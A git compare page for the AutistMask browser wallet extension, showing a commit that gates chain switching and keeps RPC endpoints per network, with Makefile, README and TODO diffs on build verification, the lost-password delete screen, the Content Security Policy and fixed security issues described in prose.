Compare commits

..

1 Commits

Author SHA1 Message Date
ba7c5d7d10 fix: gate the chain switch and remember endpoints per network (closes #308)
Some checks failed
check / check (push) Successful in 28s
e2e / e2e-chrome (push) Failing after 49s
e2e / e2e-firefox (push) Successful in 24s
wallet_switchEthereumChain was answered for any origin at all, with no
connection check and no prompt, so a page the user had never connected to
could move the active chain — clearing the [TESTNET] banner under someone
who believed they were on Sepolia. It now takes the same
allowedSites/connectedSites gate the signing methods take, ahead of the
same-chain and unsupported-chain answers, and refuses an unconnected origin
with 4100.

The switch also overwrote state.rpcUrl and state.blockscoutUrl with the
network defaults, so a user running their own node lost that url
permanently and silently to a public endpoint that then sees every address
they hold. Endpoints are now remembered per network in
state.networkEndpoints: the switch snapshots the network being left and
restores the network being entered, falling back to that network's
defaults. state.rpcUrl and state.blockscoutUrl remain the live endpoints of
the active network, so no reader changed; for the active network they are
authoritative and the map entry may be stale, and the snapshot is what
reconciles them. A profile written before the map existed has its stored
pair adopted for the network it was stored under, so nothing is lost on
first load.

Neither half held without loading state first. onChainSwitch() mutates the
module-level state singleton and persists every field of it, and
currentNetwork() reads the same singleton, but the service worker populates
nothing at module scope — a worker revived by the page's own message held
DEFAULT_STATE, so the same-chain check compared against the wrong network
and the save wrote empty wallets, empty allowedSites, no tracked tokens and
the default endpoints over the user's stored profile. The handler now
awaits loadState() after the gate, as the transaction path already does.

A stored networkEndpoints must now be an actual object. The previous guard
discarded only falsy values and arrays, so a stored primitive survived the
load, the seeding assignment silently no-opped on it, saveState()
re-persisted it, and every switch fell back to the public default in place
of the user's endpoint — permanently, with no self-healing.
2026-08-20 10:24:27 +00:00
42 changed files with 590 additions and 4904 deletions

View File

@@ -1,4 +1,4 @@
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug vendor-blocklist clean dev .PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug verify-build vendor-blocklist clean dev
# Standard targets are thin shims; the implementations live in script/ # Standard targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section # per the scripts-to-rule-them-all pattern (see the Entrypoints section
@@ -47,27 +47,10 @@ docker:
hooks: hooks:
@script/install-precommit @script/install-precommit
# build.js writes a receipt of everything it emitted — every path, its sha256,
# and whether it is a bundle containing constants.js — and script/verify-build
# checks dist/ against that. The receipt is made here, fresh per invocation,
# outside the repo, and deleted again: a standing file inside dist/ would be
# rewritten by whoever rewrote dist/, which is what made the old check
# satisfiable by a hand-written tree.
#
# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
# from the verifier's environment. The script no longer reads it at all; env -u
# is here so that stays true of anything it calls. It is deliberately NOT
# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
# compiles a debug bundle and then fails on it, loudly, rather than quietly
# handing back something other than the release build that was asked for.
build: build:
@echo "Building extension..." @echo "Building extension..."
@set -eu; \ @yarn run build 2>&1
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \ @script/verify-build
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect release \
--receipt "$$receipt"
@script/check-censored --require-dist @script/check-censored --require-dist
# Development-only build: enables the red DEBUG / INSECURE banner and makes # Development-only build: enables the red DEBUG / INSECURE banner and makes
@@ -75,14 +58,15 @@ build:
# distribute the artifacts this produces. # distribute the artifacts this produces.
build-debug: build-debug:
@echo "Building extension (DEBUG)..." @echo "Building extension (DEBUG)..."
@set -eu; \ @AUTISTMASK_DEBUG=1 yarn run build 2>&1
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \ @AUTISTMASK_DEBUG=1 script/verify-build
trap 'rm -f "$$receipt"' EXIT INT TERM; \
AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
--receipt "$$receipt"
@script/check-censored --require-dist @script/check-censored --require-dist
# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
# the end of build and build-debug; separate target for re-running it alone.
verify-build:
@script/verify-build
# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream. # Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
# Run deliberately, land the diff: the extension does no runtime fetching, so # Run deliberately, land the diff: the extension does no runtime fetching, so
# the shipped list is as fresh as the last vendoring run that was released. # the shipped list is as fresh as the last vendoring run that was released.

216
README.md
View File

@@ -48,57 +48,28 @@ Load the extension:
### Debug Builds ### Debug Builds
`make build` never hands back a debug build. `make build-debug` is the only `make build` always produces a release build: the build-time `DEBUG` constant is
target that produces one: `false`, so wallet creation uses real entropy and the red banner is off. To
produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:
```bash ```bash
make build-debug make build-debug # or: AUTISTMASK_DEBUG=1 make build
``` ```
`AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value Only the exact value `1` enables it; any other value (including unset, empty, or
`1` does; any other value (including unset, empty, or `true`) yields a release `true`) yields a release build, so a typo cannot accidentally ship the debug
build, so a typo cannot accidentally ship the debug behavior. But it is the behavior. The build prints which mode it used. See the
compiler's input, not the verifier's: if it happens to be exported in the shell
that runs `make build`, that target compiles a debug bundle and then **fails**,
because it tells `script/verify-build` in so many words that it was supposed to
produce a release build. It used to be that the verifier read the same variable
out of its own environment, agreed with itself, and reported a debug artifact as
verified. The build prints which mode it used. See the
[DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never [DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
distribute a debug build** — every wallet it creates gets the same publicly distribute a debug build** — every wallet it creates gets the same publicly
known test recovery phrase. known test recovery phrase.
Both targets end by running `script/verify-build`, which reads the compiled Both builds end by running `script/verify-build`, which reads the compiled
`DEBUG` state back out of the emitted bundles and fails the build if it is not `DEBUG` state back out of the emitted bundles and fails the build if it is not
the one that was asked for. The test suite cannot check this: it loads the one that was asked for. The test suite cannot check this: it loads
`src/shared/constants.js` outside a bundle, so it only ever sees the fallback `src/shared/constants.js` outside a bundle, so it only ever sees the fallback
value. The assertion is on the artifacts because that is where the property value. The assertion is on the artifacts because that is where the property
lives. lives.
### Build Receipts
`build.js` records every file it emits — path, sha256, and whether the file is
one of the bundles containing `src/shared/constants.js` — into a build receipt,
and `script/verify-build` checks `dist/` against that receipt: every recorded
file present with exactly the recorded bytes, every audited bundle carrying the
requested `DEBUG` marker, and nothing under `dist/` that the build did not
write. The `Makefile` creates the receipt path with `mktemp` per invocation,
outside the repo, and deletes it afterwards.
That is what ties the check to a build rather than to a directory. What it
establishes is narrow and worth stating exactly: `dist/` is byte for byte the
output of the `build.js` run that just finished, with nothing added, removed or
altered in between. It establishes nothing about whether the source tree or
`build.js` were honest, and it offers nothing to someone handed a `dist/` from
elsewhere — without the receipt from its own build there is no input to the
check. Verifiable provenance for a third party is signing, which this is not.
There is deliberately no target that re-verifies an existing `dist/` on its own.
The list of files to check has to come from the build that produced them; read
back out of `dist/`, it is the artifact vouching for itself, which is how a
26-byte file containing only the marker string, a hostile content script, and an
entire hand-written `dist/` all used to verify green.
## Entrypoints ## Entrypoints
This repository adheres to the This repository adheres to the
@@ -143,26 +114,20 @@ provide:
serves. Run deliberately, never as part of a build: the output is committed serves. Run deliberately, never as part of a build: the output is committed
and there is no runtime fetch, so the shipped list is as fresh as the last and there is no runtime fetch, so the shipped list is as fresh as the last
vendoring run that was released vendoring run that was released
- `script/verify-build --expect release|debug --receipt PATH` — assert that - `script/verify-build` — assert the compiled `DEBUG` state of the bundles in
`dist/` is exactly what the build that just ran emitted, and that the compiled `dist/`: every bundle containing `src/shared/constants.js` must have `DEBUG`
`DEBUG` state of the bundles in it is the one that was asked for. Both off, or on when `AUTISTMASK_DEBUG=1`. Run automatically at the end of
arguments are required and neither has a default: the expected mode is stated `make build` and `make build-debug`; fails loudly rather than passing if it
by the caller rather than read from `AUTISTMASK_DEBUG`, and the file list cannot determine a bundle's state. Not part of `make check`, which does not
comes from the build's receipt rather than from `dist/` (see depend on build artifacts existing.
[Build Receipts](#build-receipts)). Run automatically at the end of
`make build` and `make build-debug`; fails loudly rather than passing whenever
it cannot determine something. Not part of `make check`, which does not depend
on build artifacts existing.
- `script/test-verify-build` — exercise every failure mode of - `script/test-verify-build` — exercise every failure mode of
`script/verify-build` against a fixture tree in a temp dir, asserting the exit `script/verify-build` against a fixture tree in a temp dir, asserting the exit
status and the message of each, and read the `make build` and status and the message of each. Part of `make check`; it reads no build
`make build-debug` recipes back out of `make -n` to check that they pass the artifacts and writes nothing under `dist/`. The cases that depend on file
mode as an argument on a scrubbed environment. Part of `make check`; it reads permissions cannot mean anything for a process that is not subject to them, so
no build artifacts and writes nothing under `dist/`. The cases that depend on the harness proves its runner against a mode-000 file before counting them,
file permissions cannot mean anything for a process that is not subject to dropping to an unprivileged user when run as root; if it cannot, it skips
them, so the harness proves its runner against a mode-000 file before counting those cases and says so in a banner rather than passing them.
them, dropping to an unprivileged user when run as root; if it cannot, it
skips those cases and says so in a banner rather than passing them.
- `script/docker` — build the Docker image tagged via `script/projectname` - `script/docker` — build the Docker image tagged via `script/projectname`
- `script/cibuild` — CI entrypoint: plain `docker build .` - `script/cibuild` — CI entrypoint: plain `docker build .`
- `script/precommit` — run by the git pre-commit hook; runs `script/check` - `script/precommit` — run by the git pre-commit hook; runs `script/check`
@@ -175,10 +140,9 @@ The Makefile shims to those. It also carries a few targets that have no
of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
silently rewritten. Use `make setup` for a fresh clone. silently rewritten. Use `make setup` for a fresh clone.
- `make hooks` — shims to `script/install-precommit` - `make hooks` — shims to `script/install-precommit`
- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`, - `make build` — build the extension into `dist/chrome/` and `dist/firefox/`
then verify the result against the build's receipt as a release build - `make build-debug` — the same build with `AUTISTMASK_DEBUG=1` (see
- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1`, verified as a [Debug Builds](#debug-builds))
debug build (see [Debug Builds](#debug-builds))
- `make clean` — remove `dist/` - `make clean` — remove `dist/`
- `make dev` — build in watch mode - `make dev` — build in watch mode
@@ -805,9 +769,7 @@ for the views listed in `RESTORABLE_VIEWS` (`src/popup/restorableViews.js`).
Every other screen falls back to Home. The screens that display a secret — Every other screen falls back to Home. The screens that display a secret —
ExportPrivKey and ShowRecoveryPhrase — are deliberately absent from that list, ExportPrivKey and ShowRecoveryPhrase — are deliberately absent from that list,
so the popup can never reopen onto one of them with no password prompt in front so the popup can never reopen onto one of them with no password prompt in front
of it. So are the two that destroy one, DeleteWallet and of it.
DeleteWalletLostPassword: a popup reopened by accident must not land on a screen
whose button erases key material.
A reopened popup renders the wallet list and the one screen it restores onto, A reopened popup renders the wallet list and the one screen it restores onto,
and nothing else, so every screen on the stack behind that one is still the and nothing else, so every screen on the stack behind that one is still the
@@ -830,10 +792,7 @@ exit from that screen rather than only on its "Back" button, so nothing secret
survives in a hidden view once the user has navigated away by any route. That survives in a hidden view once the user has navigated away by any route. That
covers the revealed private key and recovery phrase, the recovery phrase, covers the revealed private key and recovery phrase, the recovery phrase,
private key or extended private key entered on AddWallet, and the password typed private key or extended private key entered on AddWallet, and the password typed
on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign. DeleteWalletLostPassword on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
registers one as well, for the neighbouring reason rather than that one: a
wallet name is not a secret, but a typed confirmation left standing in a hidden
view would leave a wallet one click from deletion.
#### Welcome (`welcome`) #### Welcome (`welcome`)
@@ -894,13 +853,7 @@ view would leave a wallet one click from deletion.
- **From xprv**: instruction text and a masked extended private key - **From xprv**: instruction text and a masked extended private key
input input
- Password + confirm password inputs, with a hint line whose wording depends - Password + confirm password inputs, with a hint line whose wording depends
on the selected tab. Every wording says that the password cannot be on the selected tab
recovered or reset and names what the only backup of the wallet is — the
recovery phrase, the private key or the extended private key, according to
the tab. This is the only warning the user gets before the wallet exists;
without it, the lost-password route on DeleteWallet is the first they
would hear of it. The hint line reserves its height, so switching tabs
cannot move the password fields under the pointer.
- "Import" button - "Import" button
- **Transitions**: - **Transitions**:
- "Import" with a valid entry and a matching password of at least 12 - "Import" with a valid entry and a matching password of at least 12
@@ -1039,13 +992,6 @@ view would leave a wallet one click from deletion.
- **Transitions**: - **Transitions**:
- "Sign & Send" (correct password) → broadcast tx → **WaitTx** - "Sign & Send" (correct password) → broadcast tx → **WaitTx**
- "Sign & Send" (correct password) → broadcast fails → **ErrorTx** - "Sign & Send" (correct password) → broadcast fails → **ErrorTx**
- "Sign & Send" on an ERC-20 whose contract answers `decimals()` with a
different number than the amount above was displayed with → nothing is
signed → **ErrorTx** naming both numbers. The transfer is encoded from the
decimals the screen rendered, carried forward on the pending transaction;
the contract's own answer is read at signing time only to be compared with
it, and a disagreement is a refusal rather than a preference for either
value (`src/shared/transferAmount.js`)
- "Sign & Send" (wrong password) → "Wrong password." on the password error - "Sign & Send" (wrong password) → "Wrong password." on the password error
line, no screen change line, no screen change
- "Back" → **Send** - "Back" → **Send**
@@ -1255,7 +1201,6 @@ view would leave a wallet one click from deletion.
- Error line - Error line
- Password input - Password input
- "Confirm Delete" button - "Confirm Delete" button
- An underlined "I have lost my password" control
- **Transitions**: - **Transitions**:
- "Confirm Delete" (correct password, other wallets remain) → deletes the - "Confirm Delete" (correct password, other wallets remain) → deletes the
wallet and its site permissions, then → **Settings** with a "Wallet wallet and its site permissions, then → **Settings** with a "Wallet
@@ -1265,54 +1210,10 @@ view would leave a wallet one click from deletion.
- Either way, the active address moves only if it belonged to the deleted - Either way, the active address moves only if it belonged to the deleted
wallet, and `AUTISTMASK_ACTIVE_CHANGED` is broadcast when it does wallet, and `AUTISTMASK_ACTIVE_CHANGED` is broadcast when it does
(`src/shared/walletDelete.js`) (`src/shared/walletDelete.js`)
- "Confirm Delete" (wrong password) → "That password is incorrect. Please - "Confirm Delete" (wrong password) → "Wrong password." on the error line,
try again." on the error line, nothing deleted nothing deleted
- "I have lost my password" → **DeleteWalletLostPassword**
- "Back" → previous screen (Settings) - "Back" → previous screen (Settings)
#### DeleteWalletLostPassword (`delete-wallet-lost-password`)
- **When**: User tapped "I have lost my password" on DeleteWallet.
- **Why it exists**: without it, a user who has forgotten the password but still
holds the recovery phrase has no route back into the product at all. Deletion
was password-gated, and importing the phrase again is refused as a duplicate
xpub by `findWalletByXpub()` while the wallet is still stored, so the only
escape was clearing extension storage through browser internals — which takes
every other wallet with it.
- **Elements**:
- "Back" button, "Delete Wallet Without a Password" heading
- A statement that the password cannot be recovered or reset, so the wallet
cannot be unlocked again, and that no password is needed to delete it
- What deletion does and does not do: it erases the copy of the key stored
on this device; nothing on chain changes and no money is moved
- The route back — adding the wallet again with the recovery phrase and a
new password — and, in bold, that without that phrase written down the
deletion loses everything the wallet holds, forever
- That the other wallets are not touched
- The wallet's name, and a text input asking for it to be typed back
- Error line
- "Delete This Wallet Forever" button
- **Transitions**:
- "Delete This Wallet Forever" (name typed correctly) → the same two
outcomes as "Confirm Delete" above, through the same `finishDelete()`, so
the selection repair, permission cleanup and `AUTISTMASK_ACTIVE_CHANGED`
broadcast are identical on both routes
- "Delete This Wallet Forever" (name does not match) → "That is not the name
of this wallet. Type <name> to confirm." on the error line, nothing
deleted
- "Back" → **DeleteWallet**, re-entered through its `show()` so the wallet
selection comes back with it. The two delete screens are siblings rather
than parent and child: nothing is pushed on the way here, so both have
Settings as their Back target.
- **Deliberately not password-gated.** A password in front of _discarding_ a
secret protects nobody: an attacker at the popup who wants the wallet gone can
uninstall the extension, so the only person such a gate stops is the owner who
forgot it. The typed name is a check that the user knows which wallet they are
on, not a secret, so it is matched with surrounding spaces and letter case
ignored.
- Not in `RESTORABLE_VIEWS`, alongside `delete-wallet-confirm`: a popup reopened
by accident must not land on a screen whose button erases key material.
#### DeleteAddress (`delete-address-confirm`) #### DeleteAddress (`delete-address-confirm`)
- **When**: User tapped the `[x]` next to an address on Home. Offered only on HD - **When**: User tapped the `[x]` next to an address on Home. Offered only on HD
@@ -1329,13 +1230,13 @@ view would leave a wallet one click from deletion.
refused: "+" derives the next unused index (`nextIndex` is a high-water refused: "+" derives the next unused index (`nextIndex` is a high-water
mark), and re-importing the wallet's key material is rejected as a mark), and re-importing the wallet's key material is rejected as a
duplicate by `findWalletByXpub` while the wallet is still present. What duplicate by `findWalletByXpub` while the wallet is still present. What
works is deleting the whole wallet in Settings — which destroys the stored works is deleting the whole wallet in Settings — password-gated, and it
secret — then importing again, whereupon `scanForAddresses()` rediscovers destroys the stored secret — then importing again, whereupon
the address **only if it has on-chain activity**. An address that was `scanForAddresses()` rediscovers the address **only if it has on-chain
never used is not found by that scan. The text is written by activity**. An address that was never used is not found by that scan. The
`recoveryPathText()` rather than sitting in `index.html`, so it can name text is written by `recoveryPathText()` rather than sitting in
the wallet's own kind of key material: an xprv wallet has no recovery `index.html`, so it can name the wallet's own kind of key material: an
phrase to re-import. xprv wallet has no recovery phrase to re-import.
- A warning when the address holds anything, ETH or any tracked ERC-20, - A warning when the address holds anything, ETH or any tracked ERC-20,
followed by the holdings themselves via `balanceLinesForAddress()` and the followed by the holdings themselves via `balanceLinesForAddress()` and the
USD total via `formatAddressTotal()` (see USD total via `formatAddressTotal()` (see
@@ -1556,44 +1457,10 @@ policy, but as of now there are none.
### Content Security Policy ### Content Security Policy
Both manifests declare the same policy for extension pages, as an object under Both manifests declare the same policy for extension pages
`script-src 'self' 'wasm-unsafe-eval'; object-src 'self'` — as an object under
`content_security_policy.extension_pages` in `manifest/chrome.json` (MV3) and as `content_security_policy.extension_pages` in `manifest/chrome.json` (MV3) and as
a bare string in `manifest/firefox.json` (MV2): a bare string in `manifest/firefox.json` (MV2).
```
default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self';
style-src 'self' 'unsafe-inline'; img-src 'self' data:;
connect-src 'self' https: http:; frame-src 'none'; form-action 'none';
base-uri 'none'
```
`default-src 'self'` is the floor. Without it the policy governed script and
plugins only, and everything else — frames above all — was unrestricted, which
is what let an unescaped token symbol paint a cross-origin iframe over the
wallet's own UI. Escaping is the primary fix for that (see
`src/shared/html.js`); this is the second line, so an escape that does slip
cannot reach the network.
Four directives are looser than `'self'`, each for a reason that does not
generalise:
- `style-src 'unsafe-inline'``src/popup/index.html` and the view helpers set
presentation through `style="..."` attributes, which CSP blocks without this.
Chrome enforces `style-src` on attributes, not only on `<style>` blocks, and
Firefox has never implemented `style-src-attr`, so there is no narrower
spelling that works on both targets. It permits inline **style**; script stays
under `script-src`, which does not allow `'unsafe-inline'`.
- `img-src data:` — identicons are generated in the popup by
`ethereum-blockies-base64` and assigned to `img.src` as `data:` PNGs.
- `connect-src https: http:` — the RPC endpoint is user-configurable and a local
node over `http://127.0.0.1` is a supported configuration, which the Firefox
end-to-end suite depends on. The wallet's outbound traffic is constrained by
what it is written to contact (see External Communication), not by this
directive.
- `frame-src 'none'`, `form-action 'none'`, `base-uri 'none'` — named rather
than inherited. `form-action` and `base-uri` do not fall back to `default-src`
at all, so they would have stayed unrestricted; `frame-src 'none'` is what
refuses the framed-overlay attack outright.
`'wasm-unsafe-eval'` is there for one reason: libsodium. It ships a WebAssembly `'wasm-unsafe-eval'` is there for one reason: libsodium. It ships a WebAssembly
build and a `wasm2js` translation of it in one file, tries WASM first, and build and a `wasm2js` translation of it in one file, tries WASM first, and
@@ -1611,10 +1478,9 @@ strings, not inline script, not remote script. Using it requires already
executing script in an extension page, which is complete compromise on its own. executing script in an extension page, which is complete compromise on its own.
`'unsafe-eval'` is a different proposition and is not granted. `'unsafe-eval'` is a different proposition and is not granted.
The policy is pinned in both directions. `tests/manifest.test.js` asserts the The grant is pinned in both directions. `tests/manifest.test.js` asserts the
exact directive set and the exact token set of each directive in both manifests, exact token set in both manifests, so dropping `'wasm-unsafe-eval'` (a silent
so dropping `'wasm-unsafe-eval'` (a silent 20x regression on the key 20x regression on the key derivation) and adding anything beyond it both fail
derivation), dropping `default-src`, and adding anything anywhere all fail
`make check`. `tests/vaultBackend.test.js` asserts the unit tests run the WASM `make check`. `tests/vaultBackend.test.js` asserts the unit tests run the WASM
backend, and `make test-e2e` compiles a WebAssembly module inside the real popup backend, and `make test-e2e` compiles a WebAssembly module inside the real popup
under the real manifest. under the real manifest.

159
TODO.md
View File

@@ -25,8 +25,8 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
milestone is in flight on `next`; its `next` -> `main` PR is milestone is in flight on `next`; its `next` -> `main` PR is
[#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified [#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
`dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to `dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG`
be exactly what that build emitted with `DEBUG` compiled off. compiled off.
The backlog lives on the The backlog lives on the
[Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is [Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is
@@ -44,140 +44,6 @@ but the review is broader than any of them.
# Completed Steps # Completed Steps
- 2026-08-20: A second extension page can no longer silently delete a wallet
([#304](https://git.eeqj.de/sneak/AutistMask/issues/304)). `saveState()` wrote
the entire state blob, and every extension page — the toolbar popup, a dApp
approval window, `backgroundRefresh()` — holds its own in-memory `state`,
loaded once, with `showView()` saving on every navigation; a second page that
saved after a first had written something new overwrote it, no attacker or
unusual input required. `saveState()` is now a read-modify-write: it re-reads
storage, diffs the persisted fields against a deep-cloned `baseline` snapshot
taken at the last `loadState()`/`saveState()` on that page, and writes only
the fields that actually changed — everything else is carried forward from
storage in its loaded-and-normalized shape (`normalizePersisted()`, shared
with `loadState()`), so a legacy or malformed record a load has always
self-healed in memory keeps getting written back even on a save that touched
something else entirely. `showView()` fires `saveState()` on every navigation
without awaiting it, so two saves from the same page can be in flight at once;
a FIFO queue serializes them rather than letting a slow one finish after a
later one and re-derive a stale answer. Deliberately not done: the live
`state` of a field this page does not own is not rehydrated from what another
page wrote, only the persisted record is — adopting a concurrently-written
value into `state` reintroduced the same clobber one page later, caught by
`tests/txStatus.test.js` red. Two writers of the same field still resolve
last-writer-wins, documented at the merge point. `tests/stateMerge.test.js`
covers the two-page save and the approval-window reproduction from the issue —
add a wallet in one page, force a save from a second page loaded before it,
both wallets survive — each demonstrated failing against the unfixed full-blob
write.
- 2026-08-20: A forgotten password no longer wedges the wallet
([#312](https://git.eeqj.de/sneak/AutistMask/issues/312)). Deleting a wallet
was password-gated and importing its recovery phrase again was refused as a
duplicate xpub, so a user who had the phrase but not the password could
neither leave nor come back: the only way out was clearing extension storage
through browser internals, which takes every other wallet with it.
DeleteWallet now offers "I have lost my password", a screen that destroys the
wallet after the user types its name back — no password, because requiring one
to _discard_ a secret protects nobody. An attacker at the popup who wants the
wallet gone can uninstall the extension; the only person such a gate stopped
was the owner who forgot it. That was chosen over allowing a duplicate xpub to
re-encrypt in place: re-import would have had to be built three times over
(`hd` and `xprv` by xpub, `key` by address), would make the user retype the
recovery phrase into a live popup to change a password, and reaches no state
that delete-then-import does not already reach through `scanForAddresses()`.
Both routes share one `finishDelete()`, so the selection repair, the
site-permission cleanup and the `AUTISTMASK_ACTIVE_CHANGED` broadcast cannot
diverge between them, and the new screen is excluded from `RESTORABLE_VIEWS`
a popup reopened by accident must not land on a button that erases key
material. AddWallet's password hint now says, per import mode, that the
password cannot be recovered or reset and what the only backup is; the hint
line reserves its height so switching tabs cannot move the password fields.
The test drives the real view against a `chrome.storage.local` stub that
structured-clones on both `set` and `get` and asserts against the read-back,
so it fails on the deletion of `saveState()` and not only on an in-memory
splice.
- 2026-08-20: `make build` can no longer hand back a debug build, and
`script/verify-build` can no longer be satisfied by bytes the build did not
produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
environment, so an operator with that exported who ran the release target got
a debug bundle — every wallet it creates carrying the publicly committed test
phrase — certified green at exit 0. The expected mode is now the required
argument `--expect release|debug`, with no default and nothing read from the
environment, and the `Makefile` scrubs the flag from the verifier while
deliberately leaving it reaching the compiler, so that shell fails the build
loudly instead of quietly getting something other than what it asked for.
Provenance was the other half: the check was a marker grep over a file list
read back out of `dist/`, so a 26-byte file containing only
`autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
script that runs on every page were never read at all, and an entire
hand-written `dist/` passed. `build.js` now records every file it emits, with
its sha256 and whether it is one of the bundles containing `constants.js`,
into a receipt whose path the `Makefile` makes fresh per invocation outside
the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
`dist/` is cleared before a build so it holds only what that build wrote. The
standalone `make verify-build` target went with it: re-verifying a `dist/`
from the `dist/` itself is the thing that was broken. What this establishes is
narrow and stated as such in README.md — `dist/` is byte for byte the output
of the `build.js` run that just finished — and it is not signing, which is
[#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
`script/test-verify-build` grew from 18 cases to 39, including one per
demonstrated bypass and the `make -n` read-back that proves the recipes pass
the mode as an argument.
- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
symbol is whatever the contract's `symbol()` returns, the block explorer
passes it through unfiltered, and `balanceLine()` interpolated it into an
`innerHTML` string — so a token with the 1,000 holders the spam filter asks
for, airdropped to the victim, could paint a full-viewport cross-origin iframe
over the wallet's own UI, on the screens where the user types their password.
`escapeHtml` moved to `src/shared/html.js` as a pure string replace over `&`,
`<`, `>`, `"` and `'`: the old implementation round-tripped through a detached
element's `textContent`, which does not escape quotes, and it was already
being used inside `data-copy="..."`. Every interpolation into an `innerHTML`
string across `src/popup/views/` was audited, not just the reported one — the
transaction lists' direction label, the wallet name and ENS name in the Home
list, the `href` in the explorer link, and the confirmation screen's warning
line were all unescaped as well. Both manifests now declare
`default-src 'self'` with `frame-src 'none'`; the four directives that had to
stay looser than `'self'` are named and justified in the Content Security
Policy section of README.md, and `tests/manifest.test.js` pins the whole set
exactly. A display cap of 12 characters bounds the symbol, matching the bound
`lookupTokenInfo()` already applied on the contract-read path. Not repurposed
for any of this: `isSpoofedSymbol()`, which answers a different question and
would have been the wrong control.
- 2026-08-20: A page asking which chain the wallet is on is told the chain the
user is actually on ([#317](https://git.eeqj.de/sneak/AutistMask/issues/317)).
`eth_chainId` and `net_version` answered from `currentNetwork()`, which reads
the module-level `state` singleton that nothing populates at module scope, so
a service worker revived by the page's own message answered out of
`DEFAULT_STATE` and reported mainnet `0x1`/`1` to a user on Sepolia — a dApp
building its interaction for the wrong chain. Both now answer from
`getState()`, the per-call detached storage read the other read handlers use,
rather than from the singleton: these two are reachable by any page on every
provider init, and mutating the shared singleton on that path would detach the
wallet objects an in-flight `backgroundRefresh()` is mutating. The read side
of the background was audited with it: the remaining singleton reads are the
chain switch, the transaction verification path and `backgroundRefresh`, which
each already load, and everything else answers from storage per call through
`getState()`. One stale read is left named but unfixed, outside this issue's
scope: `handleSendTransaction` builds its provider with no network name, so
`getProvider()` falls back to the same unloaded singleton for ethers' static
network hint.
- 2026-08-20: The dApp approval screen no longer shows a token transfer it
cannot scale as `0.0000`
([#306](https://git.eeqj.de/sneak/AutistMask/issues/306)). `decodeCalldata`
read decimals from the 512-entry bundled token list alone and fell back to 18,
so every token outside it — most of them, including anything the user added by
contract address — was displayed at the wrong scale: a `transfer` of 5,000
units of a 6-decimal token read as `0.0000`, and a user who reads zero
confirms the drain. The new `src/shared/approvalAmount.js` resolves the scale
from the bundled list, then `state.trackedTokens`, then the decimals the block
explorer already reported in `addr.tokenBalances`, and refuses one the
explorer's own entries disagree about. Where no source knows it, the amount
line is not formatted at all: it shows the base-unit integer and states that
the scale is unknown, for `approve` as well as `transfer`. An unbounded
allowance still reads `Unlimited`, which needs no scale.
- 2026-08-20: A web page can no longer switch the wallet's chain, and switching - 2026-08-20: A web page can no longer switch the wallet's chain, and switching
no longer destroys the user's endpoints no longer destroys the user's endpoints
([#308](https://git.eeqj.de/sneak/AutistMask/issues/308)). ([#308](https://git.eeqj.de/sneak/AutistMask/issues/308)).
@@ -200,27 +66,6 @@ but the review is broader than any of them.
message held `DEFAULT_STATE`, and the switch persisted every field of it — message held `DEFAULT_STATE`, and the switch persisted every field of it —
wiping every wallet, every site approval and every tracked token from storage wiping every wallet, every site approval and every tracked token from storage
along with the endpoint. along with the endpoint.
- 2026-08-20: The wallet's own ERC-20 send signs the amount it displayed
([#305](https://git.eeqj.de/sneak/AutistMask/issues/305)). The confirmation
screen renders from the block explorer's cached decimals; the transfer was
encoded from `decimals()` read off the contract at signing time, and nothing
compared the two, so a token whose on-chain scale disagreed — an upgradeable
or proxy token, a stale explorer entry, a compromised Blockscout — signed an
amount that was never on screen, off by a power of ten per decimal place of
disagreement. The scale is now carried forward on the pending transaction from
the same balance entry the screen's amount, balance and symbol come from, and
the contract's answer is read at signing time only to be compared with it: a
disagreement is a refusal naming both numbers, never a preference for either
(`src/shared/transferAmount.js`, the `confirmTx` counterpart to
`approvalVerify.js`). The gas estimate encodes from the same carried value and
no longer reads `decimals()` at all. Nothing in the e2e suite had ever clicked
`#btn-confirm-send`, which is how this shipped: the popup's own Send →
